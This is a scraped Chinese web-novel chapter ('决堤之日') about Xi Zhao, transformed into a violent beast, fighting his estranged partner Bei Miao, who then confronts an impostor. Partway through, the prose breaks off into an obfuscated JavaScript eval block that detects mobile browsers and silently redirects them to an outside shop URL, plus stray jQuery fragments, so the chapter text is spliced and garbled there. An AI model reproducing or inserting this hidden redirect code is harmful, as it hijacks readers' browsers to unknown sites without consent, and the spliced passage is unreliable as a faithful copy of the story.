默认冷灰
24号文字
方正启体

78. 决堤之日

作者:钊花西拾本书字数:K更新时间:
    ————————


    “你会亲手杀死罪大恶极的恋人吗?”


    ————————


    “事情”发生当天,D市


    西钊独自坐在一家半开放式的咖啡厅门口,桌上摆着一杯冰美式和一小块提拉米苏——记忆里北淼也喜欢这么搭配,大概吧,他不是很分得清咖啡的种类。根据“北淼”的情报,有两个木影村后人今天会从外地回来,西钊需要在他们的必经之路伺机而动,最后依“北淼”的指示发动袭击。


    西钊没什么胃口。他低头看着自己的手,思绪渐渐飘离。道德底线让他试图为伤人行为进行辩护:这一切并非出于自己的意愿。之所以答应“西钊”,是因为他有不得不这么做的理由。


    其一,也是最重要的一点:他现在能够变成极易失控、力量强大的异能兽,而就目的局势来看,“遥控器”的开关不在他手里。如果贸然行动,抛开鸽派的“西钊”先不说,那个几乎能用“愉悦犯”来形容的“北淼”更像是个定时炸弹,不知道什么时候会利用他做出伤天害理的事情来。


    其二,虽然“西钊”自己也提到“替换会带来很多麻烦”,但光是想想那家伙“玉石俱焚”的态度,西钊就觉得非常不对劲。他多少了解“北淼”的性子,支撑“北淼”前行的永远只有小雪,这个人从来没有被邪恶和正义束缚过,自然不会没理由地为“西钊”口中那个“他”服务,所以其实“北淼”真正的目的还是替换北淼,在这个世界寻求与小雪共度余生的可能性。以它为出发点,如果“北淼”目前都和西钊一起行动,说明他们并不会直接对北淼下手。也就是说,不经常露面的“西钊”,会代替他混进队伍之中,将北淼作为“人质”以更好地控制他。


    其三,也是西钊最不想承认的一点:他确确实实杀了人。之前作的恶至少没出人命,要说最严重的或许是那次对异能兽伤人的袖手旁观。但现在不同,他的手中依然残存着利爪撕裂皮肤血肉的感觉,每次想起都会让他阵阵反胃。他知道,无论是雪獒异兽的身体、还是手刃无辜的行为,都已经不能再被称之为“人类”、他也无法回头了。坤中曾说:每做一件好事,就可以抵消之前做的一件坏事,只要做的好事足够多,就不可以再称呼自己为“坏人”。但现实哪有那么单纯。他跨越了底线。道德、律法都容不下他,更不用说一向嫉恶如仇、正义凌然的北淼。


    是啊,北淼。


    西钊不禁有些难过,如果连北淼也无法理解和原谅他的身不由己,那这个世界就真的不会再有任何他的容身之所了。


    自直面死亡之后,西钊偶尔会想,那些死去的人是否会有在乎他们的亲朋好友为其哀悼。他听过这样一句话:死亡是对留下来的人最残忍的诅咒。西钊忽然觉得,之前不顾周围那些关心他的人而自以为是选择自我解脱的行为实在有些草率,或许真正伤害到北淼的不是他的所作所为,而是他的不告而“别”吧。


    西钊抬手摸了摸挂在脖子上的戒指,脑海里是最后他在家里和北淼争执的画面。他能理解北淼的不安带来的极端控制欲,但他想不出怎么安抚北淼的情绪,也不知道怎么解决这种看似不可调和的矛盾。北淼总是强调“在我的监管下才是最安全的”,现在想来,如果当初没有拆下北淼的追踪器或者监听器,情况是不是就不会这么被动了?虽然一举一动都为人所知感觉说不上好,但至少真正发生危险的时候,北淼会第一时间响应。再说,北淼和界王的出发点天差地别,自己当时说的话是不是太重了?也许北淼提出分手是对的,他们确实需要一段时间重新思考这份关系以及彼此之间的感情。


    再说了,西钊想,抛开上面的一切问题不谈,甚至不考虑是不是自愿,他和“北淼”做过的事,也让他没办法面对北淼。


    西钊在冰凉的咖啡滑过喉咙时反应过来,自己的脑子从最开始的辩解不知不觉间飘到了北淼身上。虽然西钊不喜欢北淼对自己的束缚,但老实说,不想他是不可能的。


    就在这时,从身体内部涌现的一股脉动让西钊的动作僵住,滚烫的血液通过一次次心跳经由动脉血管快速传输至他的四肢躯干和大脑。五感开始蜕变,有什么更为残暴的欲望正从灵魂的躯壳中挣脱。这种感觉西钊再熟悉不过:浓烈的、极具针对性的杀意。他知道,目标正在靠近。


    现在西钊已经能够自主地变化形态——当然,变回来还得“北淼”出手,而且西钊异化期间的记忆和意识都非常模糊,几乎都凭本能行事,还得通过“北淼”帮助他控制好攻击力度,避免危及对方的生命。西钊曾像问威胁他的丑将一样问过“北淼”:我有没有“你不会利用我伤害无辜”的保证?


    “北淼”只是耸了耸肩,勾唇轻笑:“谁知道呢。跟你保证过不伤人的是那家伙,又不是我。”


    果然,影界的诚信度也就这样吧。


    想着这些的西钊目睹自己的手一点点变成覆满灰白毛发的兽爪。意识在慢慢离他远去,五感变得敏锐,原本身而为人的视野却变得模糊不清。他看得到慌乱的影子、听得到人群的尖叫、嗅得到恐惧的气息,他似乎能控制,却不能停止。


    被他袭击倒地的人,如果不是光影村后人,仅仅只是像之前的小嵩陷入昏迷;而如果是光影村后人身上的伤口,也没有他想的那样血流成河,而是如“西钊”所说流出蓝色的光影能量。


    至少……西钊在潜意识的海洋里有些绝望地自我安慰着,至少“西钊”让“北淼”暂时遵守了承诺:不会再有更多牺牲。


    如果真是如此,也许是对他所行之恶最大的慰藉。


    ————————


    北淼现在非常烦躁。


    西钊已经“失踪”很多天了,周围人却一点都不担心,甚至跟他说“西钊有联系过他们”,还让北淼不要大惊小怪。什么叫“联系过”?这几天西钊就没给他打过一个电话、发过一条信息,连个人影都没出现,说过的上一句话就是“我们分手吧”。他知道西钊有“不告而别”的坏习惯,但把自己和别人区别对待是什么意思?不会说分手是认真的吧?


    ……不会吧?


    北淼试过报案,但因为西钊好像提前联系了警方,因此派出所并没有给北淼上报失踪。他本来还想找西钊好好聊聊,看看是不是他们相处的过程中哪里出问题了,现在倒好,西钊越是这样躲他,他就越生气。为什么?凭什么?两个三次在异世界里找回了彼此的人,在自己的世界里怎么就不能正儿八经见一面呢?


    戒指都没还给我,就别想着跟我说分手。


    北淼一边抱怨西钊的“任性”,一边凭借自己的资源满大街找人。美真那边是不指望有结果了,他可不听所谓“生命体征消失”这种鬼话,宁愿相信只是西钊弄坏了召唤器,从而让自己的踪迹无处可查。故意的,绝对是故意的。


    然而北淼还没查几天,美真就来了电话。这时候他正在距离快乐堡几公里外的街道边停靠,因为早些时候有路人说见过西钊模样的家伙出现。虽然他正心烦意乱,但面对女性,北淼还是保持着最基本的绅士态度:“什么事?”


    “北淼,在你附近有奇怪的异能量反应。”美真听上去不像是着急,更多的是困惑,特别是在北淼回应“不可能”之后,她的疑惑不减反增,“卫星没法返回影像信号,我不确定那个东西是什么,但它附近有两个人的气压值低于5万帕。”


    “……光影村后人。”北淼喃喃道。他即刻抬肘搭在车窗,望向街道尽头,隐约能看到混乱的人群涌动。


    “对。坤中和炘南都在飞机上,东杉去接机了,我联系不上西钊,你如果找到他了,就和西钊先过去,我把定位给你们。”


    北淼还没开口说下一句,美真已经利落地挂了电话。他本打算告诉美真西钊不愿意跟他说话,但转念一想,这么折腾来折腾去的,搞得自己像热脸贴冷屁股。北淼该死的自尊让他拉不下这个脸。于是他一气之下编辑了一条短信:


    西钊的事别问我,与我无关。


    就在北淼准备点击发送时,他手滑选错了联系人,发到了“最近联系人”东杉那里。……算了,东杉和美真都快订婚的人了,这点信息还是会共享的吧。他也懒得发第二遍。


    这时北淼才发现,之所以东杉是他的“最近联系人”,是因为东杉之前给他发过几条短信,关于美真最近发现能量磁场出现异常的问题,想让北淼带着西钊一起来ERP实验室思考对策,结果北淼急着找西钊,完全没注意看。刚刚美真直接打电话来,也许是情况已经开始恶化。


    真是的,偏偏在这个时候。


    北淼愤愤不平地用力拍了一下方向盘,拧动钥匙,一脚油门就往对街尽头冲去。


    没用多久,北淼就看见了那只长得和雪獒铠甲有得一比的家伙。它正拎着一个可怜人的衣领,利齿咬住那人的脖子,尽管对方奋力挣扎,也依旧被稳稳钉在原地哪里也去不了。北淼觉得自己好像出现了幻觉,因为他清楚地看见,那个绝对是普通人类的家伙,脖子上并没有流血,而是流出苍蓝色的荧光,和木影石的颜色很像。这是怎么回事?黑暗势力以其他方式卷土重来了?


    不对,现在不是想这些的时候!北淼迅速下车,拿出黑犀铠甲召唤器,试图引起它的注意,大声喊道:“现在我的心情可称不上好,遇到我,算你倒霉了!黑犀铠甲,合体!”


    对待异能兽,北淼从来没有手软过,更别说主动伤人的家伙,这勾起了北淼不太好的回忆。尽管北淼察觉到异能兽出招犹豫、只守不攻,他也毫不留情、处处都是杀招,就好像将这些天与西钊的所有矛盾都迁怒于这只来自深渊的凶兽。为什么不呢?反正邪不胜正,邪恶本就是该被消灭的存在。


    然而,这场打斗的时间越长,北淼越觉得不对劲。为什么他有一种微妙的违和感和熟悉感?为什么异能兽的攻击总是破绽百出,和方才的凶恶天差地别?它在用本能闪避要害的同时又在遏制自己对北淼进行反击的冲动,就好像一副躯体中有两个对抗的灵魂:一个想杀他,另一个……


    “北淼……杀了我……”


    另一个,想让他杀了它。


    这个极其微弱的、萦绕在北淼耳畔、几乎无法被人听闻的声音,北淼再熟悉不过。而此时,北淼对着它脖颈刺出去的流星枪已无法收回,那只“异能兽”以极限的反应速度侧身躲过,却还是被刃风擦过喉咙。


    只听一声清脆的“叮铃”,有什么东西掉落在水泥地上,静止了时间。北淼趁“异能兽”捂着头发出野兽哀鸣的那几秒迅速一个侧滚翻将其拾起。当北淼仔细查看手中的东西时,他第一次如此具象化地感觉到什么是“大脑一片空白”:这是条被斩断的项链,朴素的链条上挂着一枚黑色的戒指,戒面刻着精美的黑犀纹路——这是西钊和他的对戒。


    刚刚想让北淼杀了它的那个声音,就是西钊。


    ……西钊?怎么会?这个残暴的异能兽是西钊?你要他拿什么相信这件事?他矛盾的攻防?他的声音?他的戒指?这不可能是西钊。西钊不是没事吗?他不是还和其他人畅谈甚欢不愿理自己男朋友吗?这一定是影界的阴谋,是他们扰乱自己心神的手段。


    但是、但是,北淼认得这枚戒指。这是他找人特别定制的,不管是材料还是做工都独一无二、无法复刻,全世界只有两枚。现在这枚戒指在影界的人手里,难道西钊他……北淼握着流星枪的手止不住颤抖,思绪逐渐变得混乱。哪怕对方仍旧在恳求北淼对它做个了结,那痛苦的回音也无法传达到他的内心。


    让北淼彻底回神的不是微弱的“求救声”停止,也不是异能兽突然变得异常狂暴,而是北淼的铠甲突然被强行解除。北淼虽惊讶,但他也顾不得那么多,迅速站起身,本能地重新抬起手臂再次高喊“黑犀铠甲”,结果一阵电流自手腕传来,让他猝不及防地跪倒在地——铠甲合体失败了。


    “可恶!这到底是怎么回事?!”面对步步逼近的异能兽,北淼攥紧戒指从地上爬起来,不断后退,试图诱导异能兽往人烟稀少的地方走,也许是属于人类最后的求生欲,他产生了一种直觉,一个可怕、可悲,又可恨的直觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334706|199228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :这只异能兽,真的是西钊。而他错过了它最后清醒的时机。


    “西钊!你在干什么?!快醒醒,我是北淼!你到底怎么了,西钊!?”


    北淼一次次地躲避异能兽的攻击,一点点地往后撤离,呼喊着西钊的名字,试图将他唤醒。但北淼得到的回应只有更加猛烈的进攻,仿佛要把他赶尽杀绝。人类的肉体凡胎终是不敌异能兽的獠牙利爪,北淼不记得自己挨了多少下,也没注意到从身上流出的是血还是光,他只知道再这样下去自己真的会死在这里。召唤器没法使用,手机也在战斗中被损毁,怎么办?要怎么求救?


    就在异能兽的爪子高高举起,准备给跌坐在地的北淼最后一击时,如利刃般的钩爪就这么悬停在北淼喉结处。那只野兽的狂暴状态似乎戛然而止,它受惊地后撤,以无法想象的跳跃力消失在北淼的视线之中。待北淼因伤口的疼痛和失血的眩晕缓过神智,他才发现自己的手背上多了一块半干不湿的痕迹。他忽然想起,刚刚异能兽离开的瞬间,有什么东西从它眼角流下、滴落在他手背。当北淼意识到那是一滴眼泪时,才终于开始察觉,它是如此冰凉刺骨。


    跌跌撞撞跑回车里、再开车赶往几百米外的快乐堡已经是北淼的极限。只是他不知道、也不明白,为什么“那个人”——那个明明不应该存在、明明只是梦中人的“西钊”——会出现在ERP研究室里,和大家谈笑风生。为什么没有人发现他的异常?他和变成异能兽的西钊究竟……


    北淼甚至来不及告诉大家西钊的情况,他的注意力、他的意识、他残存的一切清醒,都被那个人的存在剥夺了去。北淼不再觉得这个“西钊”的平静是一种绝望;相反,他的平静,正在带给北淼窒息一般的绝望。


    “好久不见。”


    那个人,在他昏迷前,好像说了这样一句话。


    ————————


    北淼在医院醒来时,已经过了整整两天。


    也许是召唤人的体质,又或者拜“流光”所赐,北淼自觉伤势没有他想的那么重。病房里暂时没有人,只有些慰问品和放在床头的纸条,是美真的字迹。她说,这次铠甲被迫解除是卫星信号和磁场能量受到干扰,她拿走了北淼的召唤器,正在查明原因。而北淼受重伤的事情没有跟冰儿说,先让他好好养伤,再思考对策。


    北淼从床上坐起来,尽管看上去已经没有在流血的外伤,全身仿佛伤筋断骨的疼痛也依旧让他不禁倒吸一口凉气。他现在比任何时候都要焦躁不安,美真他们根本没有意识到事情的严重性。不仅仅是异能量、影界,现在其他世界的黑暗势力也伸出了它的爪牙。变成异能兽的西钊和趁机替换其位的“西钊”就是最好的例子。现在召唤器不在身边,他又不好轻举妄动——他比谁都清楚鲁莽会带来什么样的后果。


    可恶,太被动了。北淼攥着戒指的拳头狠狠砸在床上,再柔软的棉都化解不了他此时心里的疑惑、焦虑、担忧,以及再次逼走西钊的自责。是的,再一次,从最初西钊加入铠甲勇士的队伍,到如今加入张家的大家庭,北淼重蹈覆辙,用他一贯的自以为是和自私将本应被爱受宠的人逼得只剩“离开”这条路。如果他不那么极端、控制欲不那么强,如果他那天晚上好好和西钊说明自己的想法,而不是质疑和问责,西钊说不定就不会和他闹脾气,不会连手机也不带就离家出走,说不定就不会……


    “北淼……杀了我……”


    西钊的声音隐隐约约浮现在脑海,犹如散不去的梦魇,让北淼心烦意乱地把纸条揉成一团,也没那个心思维持他的好绅士形象,朝病房门口随手扔了出去。此时,门正好打开,一只手反应迅捷地抓住那个纸团。待来人放下手,那副北淼朝思夜想的面容赫然出现,却是当下他最不想见的人。


    “我代大家来看看你的情况,北淼。看来,恢复得还不错。”


    完全相同的平和声音、极力模仿的温柔语气、自然又违和的虚伪笑脸,无一不让北淼感到恶心。他没有回答“西钊”的问候,甚至没有把自己当成一个伤员,径直冲下床,揪着“西钊”的衣领使其背部重重撞在病房的墙上。


    “他在哪儿?”北淼听到自己咬牙切齿地说着,几乎要把每个字都在嘴里嚼碎了啐到面前人脸上。


    “西钊”嘴角的酒窝消去些许,意味深长的眼神却丝毫未减:“北淼,我不知道你在说什么。”


    “不知道?那我就让你知道!”北淼不屑地哼笑,抬手对着“西钊”的脸就是一拳。


    “西钊”并没有闪躲的意思,只是在北淼挥拳时淡然道:“他杀人了。”


    北淼的拳停在“西钊”面门,终究是没有揍下去,但他也没有将手放下:“你说什么?”


    “西钊”微微歪头,与北淼对视,方才的温和表情转瞬即逝,那副自灰烬中诞生的死意刹那间自他周身蔓延开来:“他变成异能兽,杀了人。之前你看到的他,意识比你想的清醒。这样的他,你能接受吗?”“西钊”明显感觉到北淼有那么一瞬动摇了心智,他的视线挪开一秒,又转回目光继续说道,“身为影界战士的北淼接受了他。疯狂也好、崩溃也好、愧疚也好——”


    北淼忽然很不想听“西钊”即将要说的后半句。


    “西钊”抓住北淼的拳头,不需要费多少力气就从自己面前移开,强迫北淼松开了拳。他的语气一如既往地听不出什么情绪,却像是明目张胆的挑衅:“他受到污染的灵魂和身体,另一个你,全都接受了。你呢?连一秒也舍不得松开牵引绳的主,能栓得住想要自由的狗吗?”


    此时,北淼的视线已经不在“西钊”身上,他盯着病院苍白的墙壁,好一会儿都说不出话来。他能感觉到嘴唇在动,却没有任何一个单词从喉咙里发声,甚至没有意识到自己的思维正在被“西钊”误导。最终,所有的疑问和震撼只剩下了一句:


    “你们……到底想要怎样?”


    “你。”意料之外的简单回答。


    “……什么?”


    “我们想要的,是你。”


    TBC
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)